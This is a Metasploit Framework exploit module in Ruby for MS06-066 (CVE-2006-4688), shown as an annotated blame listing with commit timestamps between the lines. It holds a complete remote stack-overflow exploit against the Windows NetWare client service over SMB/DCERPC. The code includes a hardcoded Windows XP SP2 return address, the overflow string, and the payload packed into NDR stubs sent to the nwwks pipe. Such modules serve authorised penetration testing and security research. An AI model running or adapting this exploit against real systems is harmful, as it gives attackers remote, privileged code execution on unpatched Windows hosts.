2007-02-18 00:10:39 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-11-15 19:04:37 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GoodRanking
|
2006-11-15 19:04:37 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
|
|
include Msf::Exploit::Remote::SMB
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-15 19:04:37 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2012-03-15 21:37:34 +00:00
|
|
|
'Name' => 'Microsoft Services MS06-066 nwwks.dll Module Exploit',
|
2006-11-15 19:04:37 +00:00
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in the svchost service, when the netware
|
2009-11-25 20:05:18 +00:00
|
|
|
client service is running. This specific vulnerability is in the nwapi32.dll module.
|
2006-11-15 19:04:37 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'pusscat' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
2008-08-15 15:46:47 +00:00
|
|
|
[ 'CVE', '2006-4688'],
|
2009-07-16 16:02:24 +00:00
|
|
|
[ 'OSVDB', '30260'],
|
|
|
|
[ 'BID', '21023'],
|
2006-11-15 19:04:37 +00:00
|
|
|
[ 'MSB', 'MS06-066'],
|
|
|
|
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000,
|
|
|
|
'BadChars' => "",
|
2010-04-30 08:40:19 +00:00
|
|
|
'Compat' =>
|
2006-11-15 19:04:37 +00:00
|
|
|
{
|
|
|
|
# -ws2ord XXX?
|
|
|
|
},
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2006-11-15 19:04:37 +00:00
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
|
|
|
'Windows XP SP2',
|
2006-11-15 19:04:37 +00:00
|
|
|
{
|
2006-12-01 16:38:07 +00:00
|
|
|
'Ret' => 0x616566fb, # modemui.dll [esp + 16]: popaw, ret
|
2006-11-15 19:04:37 +00:00
|
|
|
},
|
|
|
|
]
|
|
|
|
],
|
|
|
|
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Nov 14 2006'))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-15 19:04:37 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'nwwks']),
|
|
|
|
], self.class)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-15 19:04:37 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
# [in] [unique] wchar *
|
|
|
|
# [in] [unique] wchar *
|
|
|
|
# [out] long
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
ofstring = Rex::Text.to_unicode('\\\\') + rand_text(292) + [ target.ret ].pack('V') + "\x00\x00"
|
|
|
|
stubdata =
|
|
|
|
NDR.long(rand(0xffffffff)) +
|
|
|
|
NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") +
|
|
|
|
NDR.long(rand(0xffffffff)) +
|
|
|
|
NDR.UnicodeConformantVaryingStringPreBuilt(payload.encoded + "\x00\x00") +
|
|
|
|
NDR.long(rand(0xffffffff)) +
|
|
|
|
NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") +
|
|
|
|
NDR.long(rand(0xffffffff)) +
|
|
|
|
NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") +
|
|
|
|
NDR.UnicodeConformantVaryingStringPreBuilt(ofstring)
|
|
|
|
|
2006-11-15 19:04:37 +00:00
|
|
|
print_status("Connecting to the SMB service...")
|
|
|
|
connect()
|
|
|
|
smb_login()
|
|
|
|
|
|
|
|
handle = dcerpc_handle('e67ab081-9844-3521-9d32-834f038001c0', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
|
|
|
|
print_status("Binding to #{handle} ...")
|
|
|
|
dcerpc_bind(handle)
|
|
|
|
print_status("Bound to #{handle} ...")
|
|
|
|
|
|
|
|
print_status("Calling the vulnerable function...")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-15 19:04:37 +00:00
|
|
|
begin
|
|
|
|
dcerpc.call(0x01, stubdata)
|
|
|
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
2010-04-05 23:34:10 +00:00
|
|
|
print_status('Server did not respond, this is expected')
|
2006-11-15 19:04:37 +00:00
|
|
|
rescue => e
|
|
|
|
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
|
2010-04-05 23:34:10 +00:00
|
|
|
print_status('Server disconnected, this is expected')
|
2006-11-15 19:04:37 +00:00
|
|
|
else
|
|
|
|
raise e
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
else
|
2006-11-15 19:04:37 +00:00
|
|
|
print_status("Got #{dcerpc.last_response.stub_data.length} bytes: #{dcerpc.last_response.stub_data}")
|
|
|
|
end
|
|
|
|
|
|
|
|
# Cleanup
|
|
|
|
handler
|
2010-04-30 08:40:19 +00:00
|
|
|
disconnect
|
|
|
|
|
|
|
|
if (dcerpc.last_response != nil and
|
|
|
|
dcerpc.last_response.stub_data != nil and
|
2006-11-15 19:04:37 +00:00
|
|
|
dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")
|
|
|
|
return true
|
2010-04-30 08:40:19 +00:00
|
|
|
else
|
2006-11-15 19:04:37 +00:00
|
|
|
return false
|
|
|
|
end
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-07-16 16:02:24 +00:00
|
|
|
end
|